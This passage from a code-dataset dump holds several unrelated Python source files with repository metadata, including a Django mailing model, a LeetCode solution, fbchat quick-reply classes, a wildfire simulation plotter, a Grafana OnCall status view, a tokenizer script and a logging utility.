mailing_list = models.OneToOneField(\n        MailingList,\n        verbose_name='рассылка',\n        on_delete=models.CASCADE,\n    )\n    client = models.ManyToManyField(\n        Client,\n        verbose_name='клиент'\n    )\n\n    def __str__(self):\n        return str(self.mailing_list.text)\n\n    class Meta:\n        verbose_name = 'сообщение'\n        verbose_name_plural = 'сообщения'\n", "repo_name": "mmetelev/django-mailing", "sub_path": "apps/mailing/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2499, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.db.models.Model", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 27, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "taggit.managers.TaggableManager", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models.DateTimeField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 41, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 41, "usage_type": "name"}, {"api_name": "phonenumber_field.modelfields.PhoneNumberField", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 44, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 44, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 48, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 48, "usage_type": "name"}, {"api_name": "taggit.managers.TaggableManager", "line_number": 50, "usage_type": "call"}, {"api_name": "timezone_field.TimeZoneField", "line_number": 51, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 65, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 65, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 67, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 67, "usage_type": "name"}, {"api_name": "django.db.models.OneToOneField", "line_number": 68, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 68, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 71, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 71, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 73, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 73, "usage_type": "name"}]}
{"seq_id": "24584266983", "text": "from typing import List\nimport collections\nimport heapq\n\nclass Solution:\n    def rearrangeBarcodes(self, barcodes: List[int]) -> List[int]:\n        n = len(barcodes)\n        res = [None] * n\n        barcode_count = collections.Counter(barcodes)\n        index = 0\n\n        for code, count in barcode_count.most_common():\n            for _ in range(count):\n                if index >= n:\n                    index = 1\n                res[index] = code\n                index += 2\n        \n        return res\n\n    # def rearrangeBarcodes(self, barcodes: List[int]) -> List[int]:\n    #     res = [None] * len(barcodes)\n    #     barcode_count = collections.Counter(barcodes)\n    #     heap = []\n        \n    #     for key in barcode_count:\n    #         heapq.heappush(heap, (-barcode_count[key], key))\n        \n    #     index = 0\n    #     while heap:\n    #         count, key = heapq.heappop(heap)\n    #         count = -count\n\n    #         while count:\n    #             if index >= len(barcodes):\n    #                 index = 1\n    #             res[index] = key\n    #             index += 2\n    #             count -= 1\n            \n    #     return res\n\n\ndef main():\n    sol = Solution()\n    print(sol.rearrangeBarcodes([1,1,1,2,2,2]))\n    print(sol.rearrangeBarcodes([1,1,1,1,2,2,3,3]))\n\nif __name__ == '__main__':\n    main()", "repo_name": "brandoneng000/LeetCode", "sub_path": "medium/1054.py", "file_name": "1054.py", "file_ext": "py", "file_size_in_byte": 1330, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "19813307095", "text": "# -*- coding: UTF-8 -*-\nfrom __future__ import unicode_literals\n\nimport attr\nfrom ._attachment import Attachment\n\n\n@attr.s(cmp=False)\nclass QuickReply(object):\n    \"\"\"Represents a quick reply.\"\"\"\n\n    #: Payload of the quick reply\n    payload = attr.ib(None)\n    #: External payload for responses\n    external_payload = attr.ib(None, init=False)\n    #: Additional data\n    data = attr.ib(None)\n    #: Whether it's a response for a quick reply\n    is_response = attr.ib(False)\n\n\n@attr.s(cmp=False, init=False)\nclass QuickReplyText(QuickReply):\n    \"\"\"Represents a text quick reply.\"\"\"\n\n    #: Title of the quick reply\n    title = attr.ib(None)\n    #: URL of the quick reply image (optional)\n    image_url = attr.ib(None)\n    #: Type of the quick reply\n    _type = \"text\"\n\n    def __init__(self, title=None, image_url=None, **kwargs):\n        super(QuickReplyText, self).__init__(**kwargs)\n        self.title = title\n        self.image_url = image_url\n\n\n@attr.s(cmp=False, init=False)\nclass QuickReplyLocation(QuickReply):\n    \"\"\"Represents a location quick reply (Doesn't work on mobile).\"\"\"\n\n    #: Type of the quick reply\n    _type = \"location\"\n\n    def __init__(self, **kwargs):\n        super(QuickReplyLocation, self).__init__(**kwargs)\n        self.is_response = False\n\n\n@attr.s(cmp=False, init=False)\nclass QuickReplyPhoneNumber(QuickReply):\n    \"\"\"Represents a phone number quick reply (Doesn't work on mobile).\"\"\"\n\n    #: URL of the quick reply image (optional)\n    image_url = attr.ib(None)\n    #: Type of the quick reply\n    _type = \"user_phone_number\"\n\n    def __init__(self, image_url=None, **kwargs):\n        super(QuickReplyPhoneNumber, self).__init__(**kwargs)\n        self.image_url = image_url\n\n\n@attr.s(cmp=False, init=False)\nclass QuickReplyEmail(QuickReply):\n    \"\"\"Represents an email quick reply (Doesn't work on mobile).\"\"\"\n\n    #: URL of the quick reply image (optional)\n    image_url = attr.ib(None)\n    #: Type of the quick reply\n    _type = \"user_email\"\n\n    def __init__(self, image_url=None, **kwargs):\n        super(QuickReplyEmail, self).__init__(**kwargs)\n        self.image_url = image_url\n\n\ndef graphql_to_quick_reply(q, is_response=False):\n    data = dict()\n    _type = q.get(\"content_type\").lower()\n    if q.get(\"payload\"):\n        data[\"payload\"] = q[\"payload\"]\n    if q.get(\"data\"):\n        data[\"data\"] = q[\"data\"]\n    if q.get(\"image_url\") and _type is not QuickReplyLocation._type:\n        data[\"image_url\"] = q[\"image_url\"]\n    data[\"is_response\"] = is_response\n    if _type == QuickReplyText._type:\n        if q.get(\"title\") is not None:\n            data[\"title\"] = q[\"title\"]\n        rtn = QuickReplyText(**data)\n    elif _type == QuickReplyLocation._type:\n        rtn = QuickReplyLocation(**data)\n    elif _type == QuickReplyPhoneNumber._type:\n        rtn = QuickReplyPhoneNumber(**data)\n    elif _type == QuickReplyEmail._type:\n        rtn = QuickReplyEmail(**data)\n    return rtn\n", "repo_name": "philipk19238/send-your-friends-the-script-from-the-bee-movie-one-word-at-a-time", "sub_path": "env/lib/python3.6/site-packages/fbchat/_quick_reply.py", "file_name": "_quick_reply.py", "file_ext": "py", "file_size_in_byte": 2926, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 54, "dataset": "github-code", "pt": "71", "api": [{"api_name": "attr.ib", "line_number": 13, "usage_type": "call"}, {"api_name": "attr.ib", "line_number": 15, "usage_type": "call"}, {"api_name": "attr.ib", "line_number": 17, "usage_type": "call"}, {"api_name": "attr.ib", "line_number": 19, "usage_type": "call"}, {"api_name": "attr.s", "line_number": 8, "usage_type": "call"}, {"api_name": "attr.ib", "line_number": 27, "usage_type": "call"}, {"api_name": "attr.ib", "line_number": 29, "usage_type": "call"}, {"api_name": "attr.s", "line_number": 22, "usage_type": "call"}, {"api_name": "attr.s", "line_number": 39, "usage_type": "call"}, {"api_name": "attr.ib", "line_number": 56, "usage_type": "call"}, {"api_name": "attr.s", "line_number": 51, "usage_type": "call"}, {"api_name": "attr.ib", "line_number": 70, "usage_type": "call"}, {"api_name": "attr.s", "line_number": 65, "usage_type": "call"}]}
{"seq_id": "2906167697", "text": "import matplotlib.pyplot as plt\nimport os\nimport numpy as np\nimport scipy.stats as stats\nimport time\nfrom scipy.optimize import curve_fit\nfrom tqdm import tqdm\n\n\nclass MakePlots:\n    '''class to make plots with changing parameters'''\n    def __init__(self, simulation):\n        self.simulation = simulation\n\n    def sensitivity_analysis(self, parameter, values, n_simulations):\n        '''find burned trees for paramter values in given range'''\n        results = []\n        start_time = time.time()\n        for i in range(0, len(values)):\n            value = values[i]\n            burned = []\n            for _ in range(n_simulations):\n                self.simulation.set_params(parameter, value)\n                burned.append(self.simulation.get_burnt())\n            \n            # print(\"burned----\", burned)\n            mean = np.mean(burned)\n            confidence_interval = stats.t.interval(0.95, len(burned)-1, loc=mean, scale=stats.sem(burned))\n            results.append((value, mean, confidence_interval))\n\n            # Saving burned list to excel file\n            # workbook = openpyxl.load_workbook('Fire_data.xlsx')\n            # sheet = workbook[parameter]\n            # column_letters = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L']\n            # column_letter = column_letters[i]\n            # # Iterate over the numbers and add them to the column\n            # for j, number in enumerate(burned, start=1):\n            #     cell = f'{column_letter}{j}'\n            #     sheet[cell].value = number\n            # workbook.save('Fire_data.xlsx')\n\n        # Define values, mean and CI\n        values = [result[0] for result in results]\n        means = np.array([result[1] for result in results])\n        lower_ci = np.array([result[2][0] for result in results])\n        upper_ci = np.array([result[2][1] for result in results])\n\n        # Plot results\n        plt.figure()\n        plt.fill_between(values, lower_ci, upper_ci, alpha=0.3, label='95% Confidence interval')\n        plt.plot(values, means, 'o-', label=parameter)\n        # plt.errorbar(values, means, yerr=[means - lower_ci, upper_ci - means], marker='o', linestyle='', label=parameter)\n        plt.xlabel(parameter)\n        plt.ylabel('Burned Trees')\n        plt.grid()\n        plt.legend()\n\n        # Saving in 'plots' folder\n        filename = f'{parameter}_sensitivity_00.png'\n        filepath = os.path.join('plots', filename)\n        plt.savefig(filepath)\n        plt.show()\n\n        end_time = time.time()\n        elapsed_time = end_time - start_time\n        print(f\"Computation time: {elapsed_time} seconds\")\n        \n    def clustering_analysis(self):\n        '''find burned trees for different degrees of clustering'''\n        sim = self.simulation\n        rows = sim.rows\n        cols = sim.cols\n        \n        sim.make_deterministic() # turn off probabilities\n        datapoints = 50 # how many densities to sweep\n        density_param = np.linspace(0.35,0.6,datapoints)\n        clustering = [0,0.5,1,1.5,2] # how much clustering to perform\n        \n        \n        for i,c in enumerate(clustering): # for each degree of clustering\n            \n            points = []\n            print('Clustering {} out of {}'.format(i,len(clustering)-1))\n            \n            for d in tqdm(density_param):\n                \n                sim.set_params('grid_density', d)\n                                                \n                sim.reset() # we reinitialize the forest to set the density\n                \n                sim.apply_voters_model(c) # we use the voters model to apply clustering \n                \n                density = sim.total_trees/rows/cols\n                if density < 0.35:\n                    continue #we are not interested if the density gets too low due to clustering\n                \n                morans_i = sim.morans_i() # we quantify the clustering\n                sim.run()\n                percentage_burnt = sim.burned_trees/sim.total_trees\n                \n                points.append([density,morans_i,percentage_burnt])\n                np.save('points{}'.format(i),points) # save points to analyze interactively (jupyter notebook)\n                \n        \n        \n    def sigmoid(self, x, x0, k):\n        y = 1 / (1 + np.exp(-k*(x-x0)))\n        return y\n", "repo_name": "ishabansod/Complex-Sys-Sim-Wildfire", "sub_path": "make_plots.py", "file_name": "make_plots.py", "file_ext": "py", "file_size_in_byte": 4306, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "time.time", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 27, "usage_type": "call"}, {"api_name": "scipy.stats.t.interval", "line_number": 28, "usage_type": "call"}, {"api_name": "scipy.stats.t", "line_number": 28, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 28, "usage_type": "name"}, {"api_name": "scipy.stats.sem", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "time.time", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 76, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 107, "usage_type": "call"}]}
{"seq_id": "16069644854", "text": "from django.conf import settings\nfrom rest_framework.request import Request\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom apps.auth_token.auth import BasePluginAuthentication\nfrom apps.base.models import DynamicSetting\nfrom apps.grafana_plugin.tasks.sync import plugin_sync_organization_async\nfrom apps.mobile_app.auth import MobileAppAuthTokenAuthentication\nfrom apps.user_management.models import Organization\nfrom common.api_helpers.mixins import GrafanaHeadersMixin\nfrom common.api_helpers.utils import create_engine_url\n\n\nclass StatusView(GrafanaHeadersMixin, APIView):\n    authentication_classes = (\n        MobileAppAuthTokenAuthentication,\n        BasePluginAuthentication,\n    )\n\n    def post(self, request: Request) -> Response:\n        \"\"\"\n        Called asyncronounsly on each start of the plugin\n        Checks if plugin is correctly installed and async runs a task\n        to sync users, teams and org\n        \"\"\"\n        # Check if the plugin is currently undergoing maintenance, and return response without querying db\n        if settings.CURRENTLY_UNDERGOING_MAINTENANCE_MESSAGE:\n            return Response(\n                data={\n                    \"currently_undergoing_maintenance_message\": settings.CURRENTLY_UNDERGOING_MAINTENANCE_MESSAGE,\n                }\n            )\n\n        organization = request.auth.organization\n        is_installed = False\n        token_ok = False\n        allow_signup = True\n        api_url = create_engine_url(\"\")\n\n        # Check if organization is in OnCall database\n        if organization:\n            is_installed = True\n            token_ok = organization.api_token_status == Organization.API_TOKEN_STATUS_OK\n            if organization.is_moved:\n                api_url = create_engine_url(\"\", override_base=organization.migration_destination.oncall_backend_url)\n        else:\n            allow_signup = DynamicSetting.objects.get_or_create(\n                name=\"allow_plugin_organization_signup\", defaults={\"boolean_value\": True}\n            )[0].boolean_value\n\n        # If user is not present in OnCall database, set token_ok to False, which will trigger reinstall\n        if not request.user:\n            token_ok = False\n            organization.api_token_status = Organization.API_TOKEN_STATUS_PENDING\n            organization.save(update_fields=[\"api_token_status\"])\n\n        # Start task to refresh organization data in OnCall database with Grafana\n        plugin_sync_organization_async.apply_async((organization.pk,))\n\n        return Response(\n            data={\n                \"is_installed\": is_installed,\n                \"token_ok\": token_ok,\n                \"allow_signup\": allow_signup,\n                \"is_user_anonymous\": self.grafana_context[\"IsAnonymous\"]\n                if self.grafana_context\n                else request.user is None,\n                \"license\": settings.LICENSE,\n                \"version\": settings.VERSION,\n                \"recaptcha_site_key\": settings.RECAPTCHA_V3_SITE_KEY,\n                \"currently_undergoing_maintenance_message\": settings.CURRENTLY_UNDERGOING_MAINTENANCE_MESSAGE,\n                \"api_url\": api_url,\n            }\n        )\n", "repo_name": "grafana/oncall", "sub_path": "engine/apps/grafana_plugin/views/status.py", "file_name": "status.py", "file_ext": "py", "file_size_in_byte": 3198, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3019, "dataset": "github-code", "pt": "71", "api": [{"api_name": "common.api_helpers.mixins.GrafanaHeadersMixin", "line_number": 15, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 15, "usage_type": "name"}, {"api_name": "apps.mobile_app.auth.MobileAppAuthTokenAuthentication", "line_number": 17, "usage_type": "name"}, {"api_name": "apps.auth_token.auth.BasePluginAuthentication", "line_number": 18, "usage_type": "name"}, {"api_name": "rest_framework.request.Request", "line_number": 21, "usage_type": "name"}, {"api_name": "django.conf.settings.CURRENTLY_UNDERGOING_MAINTENANCE_MESSAGE", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 28, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 29, "usage_type": "call"}, {"api_name": "django.conf.settings.CURRENTLY_UNDERGOING_MAINTENANCE_MESSAGE", "line_number": 31, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 31, "usage_type": "name"}, {"api_name": "common.api_helpers.utils.create_engine_url", "line_number": 39, "usage_type": "call"}, {"api_name": "apps.user_management.models.Organization.API_TOKEN_STATUS_OK", "line_number": 44, "usage_type": "attribute"}, {"api_name": "apps.user_management.models.Organization", "line_number": 44, "usage_type": "name"}, {"api_name": "common.api_helpers.utils.create_engine_url", "line_number": 46, "usage_type": "call"}, {"api_name": "apps.base.models.DynamicSetting.objects.get_or_create", "line_number": 48, "usage_type": "call"}, {"api_name": "apps.base.models.DynamicSetting.objects", "line_number": 48, "usage_type": "attribute"}, {"api_name": "apps.base.models.DynamicSetting", "line_number": 48, "usage_type": "name"}, {"api_name": "apps.user_management.models.Organization.API_TOKEN_STATUS_PENDING", "line_number": 55, "usage_type": "attribute"}, {"api_name": "apps.user_management.models.Organization", "line_number": 55, "usage_type": "name"}, {"api_name": "apps.grafana_plugin.tasks.sync.plugin_sync_organization_async.apply_async", "line_number": 59, "usage_type": "call"}, {"api_name": "apps.grafana_plugin.tasks.sync.plugin_sync_organization_async", "line_number": 59, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 61, "usage_type": "call"}, {"api_name": "django.conf.settings.LICENSE", "line_number": 69, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 69, "usage_type": "name"}, {"api_name": "django.conf.settings.VERSION", "line_number": 70, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 70, "usage_type": "name"}, {"api_name": "django.conf.settings.RECAPTCHA_V3_SITE_KEY", "line_number": 71, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 71, "usage_type": "name"}, {"api_name": "django.conf.settings.CURRENTLY_UNDERGOING_MAINTENANCE_MESSAGE", "line_number": 72, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 72, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 21, "usage_type": "name"}]}
{"seq_id": "8282229449", "text": "import stanfordnlp, sys, argparse\nparser = argparse.ArgumentParser(allow_abbrev=False)\n# fmt: off\n\nparser.add_argument('--num-shards', default=1, type=int, metavar='N',\n                    help='number of shards')\nparser.add_argument('--shard-id', default=0, type=int, metavar='N',\n                    help='shard id')\nparser.add_argument('--in-file', type=str, metavar='N', help='input file name')\nparser.add_argument('--out-file', type=str, metavar='N', help='output file name')\nparser.add_argument('--lang', default='en', type=str, metavar='N', help='target language')\n\nargs = parser.parse_args()\n\ndef tokenize(in_file, lang, out_file, num_shards, shard_id):\n    start_id, end_id = get_line_ids(in_file, num_shards, shard_id)\n    print(start_id, end_id)\n    nlp = stanfordnlp.Pipeline(processors='tokenize', lang=lang)\n    with open(in_file) as fin:\n        with open(out_file, 'wt') as fout:\n            for i, line in enumerate(fin):\n                if start_id <= i < end_id:\n                    line = line.strip()\n                    if line == '':\n                        fout.write('\\n')\n                        continue\n                    doc = nlp(line)\n                    sent = []\n                    for i, sentence in enumerate(doc.sentences):\n                        for token in sentence.tokens:\n                            sent.append(token.text)\n                    fout.write(' '.join(sent))\n                    fout.write('\\n')\n\ndef get_line_ids(in_file, num_shards, shard_id):\n    nb_lines = sum(1 for i in open(in_file, 'rb'))\n    shard_size = nb_lines//num_shards\n    remainder = nb_lines - shard_size*num_shards\n    start_id = shard_size*shard_id + min([shard_id, remainder])\n    end_id = shard_size*(shard_id+1) + min([shard_id+1, remainder])\n    return start_id, end_id\n\n\nif __name__ == '__main__':\n    in_file = args.in_file\n    lang = args.lang\n    out_file = args.out_file\n    num_shards = args.num_shards\n    shard_id = args.shard_id\n    assert shard_id < num_shards\n    tokenize(in_file, lang, out_file, num_shards, shard_id)\n", "repo_name": "jungokasai/XOR_QA_MTPipeline", "sub_path": "deprecated/tokenizers/tokenizer.py", "file_name": "tokenizer.py", "file_ext": "py", "file_size_in_byte": 2061, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 2, "usage_type": "call"}, {"api_name": "stanfordnlp.Pipeline", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "34515491431", "text": "import datetime\nimport os\nimport sys\nimport shutil\n\nCACHE_SIZE = 1024\nFILE_PATH_SUFFIX = 'log.txt'\ng_file_handle = None\ng_log_cache = ''\ng_is_local = False  # 为False则只print而不保存文件\n\nlog_builder = 'none_builder'\nlog_node = 'none_node'\n\n# arg1 arg2...\ng_position_args = []\n# -option1 [param1, param2, ...] -option2 [param1, param2, ...] ...\ng_optional_args = {}\n\n\ndef _pack_str(args):\n    if not args:\n        return\n    stringfieds = [str(a) for a in args]\n\n    if g_is_local:\n        return '[%s] %s \\n' % (str(datetime.datetime.now()), ' '.join(stringfieds))\n    else:\n        return '%s \\n' % (' '.join(stringfieds))\n\ndef info(*args):\n    log_str = _pack_str(args)\n    log_str = '[{0}-{1}]{2}'.format(log_builder, log_node, log_str)  # 加一个空格为了与ERROR对齐\n    _print_log(log_str)\n\n\ndef _print_log(log_str):\n    # test\n    # blocks = ('Source/', 'Source\\\\', 'Apex')\n    # for b in blocks:\n    #     if 'lua' not in log_str and b in log_str:\n    #         return\n    # test\n\n    import chardet\n\n    convert_str = None\n    if type(log_str) == str:\n        convert_str = log_str\n    else:\n        encoding = chardet.detect(log_str)['encoding']\n        try:\n            convert_str = log_str.decode(encoding)\n        except Exception as e:\n            convert_str = _try_print_simple(log_str)\n\n    try:\n        print(convert_str)\n    except Exception as e:\n        print('cannot decode by gbk..')\n    sys.stdout.flush()\n\n    global g_log_cache\n    size = len(g_log_cache) + len(convert_str)\n    if size > CACHE_SIZE:\n        _dump_log_and_clean_cache()\n\n    g_log_cache += convert_str\n    if len(g_log_cache) > CACHE_SIZE:\n        _dump_log_and_clean_cache()\n\n\ndef _try_print_simple(log_str):\n    try:\n        return _remove_non_alphabet_chars(log_str)\n    except Exception as e:\n        return \"removal doesn't work :(\"\n\ndef _dump_log_and_clean_cache():\n\n    global g_log_cache\n\n    file_handle = _open_file()\n    if not file_handle:\n        return\n\n    file_handle.write(g_log_cache)\n    file_handle.flush()\n\n    g_log_cache = ''\n\n\ndef _remove_non_alphabet_chars(text):\n    ret = ''\n    for c in text:\n        ascii_code = ord(c)\n        if 0 <= ascii_code <= 255:\n            ret += c\n        else:\n            ret += '?'\n\n    return ret\n\n\ndef _open_file():\n    global g_file_handle\n    if g_file_handle:\n        return g_file_handle\n\n    folder = os.path.join(__file__, \"..\", \"..\", \"logs\")\n    folder = os.path.abspath(folder)\n    running_node = parse_arg(\"-run\") or \"\"\n\n    print(\"日志目录： \", os.path.abspath(folder))\n\n    if not os.path.exists(folder):\n        os.makedirs(folder)\n\n    # 文件过多时保留10个，其余删除\n    try:\n        remove_log_file(folder)\n    except Exception as exc:\n        print(\"[ERROR:] open log is failed. error message: %s\" % exc)\n\n    file_path = os.path.join(folder, running_node + '-' + FILE_PATH_SUFFIX)\n\n    # 当执行clear_context时，将目录下的文件备份一下\n    if running_node == \"clear_context\":\n        back_folder_name = str(datetime.datetime.now()) + \"_backup\"\n        back_folder_name = back_folder_name.replace(':', '-')\n        backup_folder = os.path.join(folder, back_folder_name)\n        os.makedirs(backup_folder, exist_ok=True)\n        for name in os.listdir(folder):\n            temp_path = os.path.join(folder, name)\n            if os.path.isfile(temp_path):\n                shutil.move(temp_path, os.path.join(backup_folder, name))\n\n    g_file_handle = open(file_path, 'a+', encoding='utf-8')\n    return g_file_handle\n\ndef parse_arg(name_or_position):\n    if type(name_or_position) == int:\n        return _get_position_arg(name_or_position)\n    elif type(name_or_position) == str:\n        arg = g_optional_args.get(name_or_position)\n        if arg is None:\n            return None\n        elif len(arg) == 0:\n            return True\n        elif len(arg) == 1:\n            return arg[0]\n        elif len(arg) > 1:\n            return arg\n        else:\n            return None\n    else:\n        return None\n\ndef _get_position_arg(position):\n    if position < 0 or position >= len(g_position_args):\n        return None\n    else:\n        return g_position_args[position]\n\ndef remove_log_file(path):\n    tim = []\n    if os.path.isdir(path):\n        for im in os.listdir(path):\n            new_path = os.path.join(path, im)\n\n            if os.path.exists(new_path) and os.path.isdir(new_path):\n                # 加入列表并排序\n                tim = time_arr(tim, new_path)\n\n    if len(tim) > 10:\n        # 删除是个之外的，小日期在前，所以从前面开始\n        for rm_path in tim[:len(tim) - 10]:\n\n            if os.path.exists(rm_path):\n                remove_tree(rm_path)\n                print(\"remove file:%s is successful\" % rm_path)\n\ndef time_arr(arr, path):\n    \"\"\"对严格日期格式的目录或文件名排序\"\"\"\n    if not arr:\n        arr.append(path)\n        return arr\n\n    tag = 0\n    path_time_int = get_str_time(path)\n\n    for i in arr:\n        time_int = get_str_time(i)\n        if time_int >= path_time_int:\n            arr.insert(tag, path)\n            break\n        elif path_time_int > time_int and tag + 1 < len(arr):\n            tag += 1\n            continue\n        else:\n            arr.append(path)\n            break\n\n    return arr\n\ndef remove_tree(path):\n    if not os.path.exists(path) or not os.path.isdir(path):\n        print('try to remove invalid folder: %s' % path)\n        return\n\n    # def del_rw(action, name, exc):\n    #     os.chmod(name, os.stat.S_IWRITE)\n    #     os.remove(name)\n    #\n    # shutil.rmtree(path, onerror=del_rw)\n    import stat\n\n    def on_rm_error(func, path, exc_info):\n        # path contains the path of the file that couldn't be removed\n        # let's just assume that it's read-only and unlink it.\n        os.chmod(path, stat.S_IWRITE)\n        os.unlink(path)\n        print(\"remove error path : %s\" % path)\n\n    shutil.rmtree(path, onerror=on_rm_error, ignore_errors=True)\n    print('removed folder %s' % path)\n\ndef get_str_time(path):\n    \"\"\"将文件名或目录名的时间转变为int返回\"\"\"\n    import re\n    res = r\"\\d+\"\n    dir_name = os.path.split(path)[-1]\n    time_str = dir_name.split(\".\")[0]\n    result_list = re.findall(res, time_str)\n    time_str = \"\"\n    for m in result_list:\n        time_str += m\n    return int(time_str)\n", "repo_name": "chliangxu/xcl_master", "sub_path": "work/log.py", "file_name": "log.py", "file_ext": "py", "file_size_in_byte": 6342, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime.now", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "attribute"}, {"api_name": "chardet.detect", "line_number": 51, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 61, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 129, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 129, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path", "line_number": 131, "usage_type": "attribute"}, 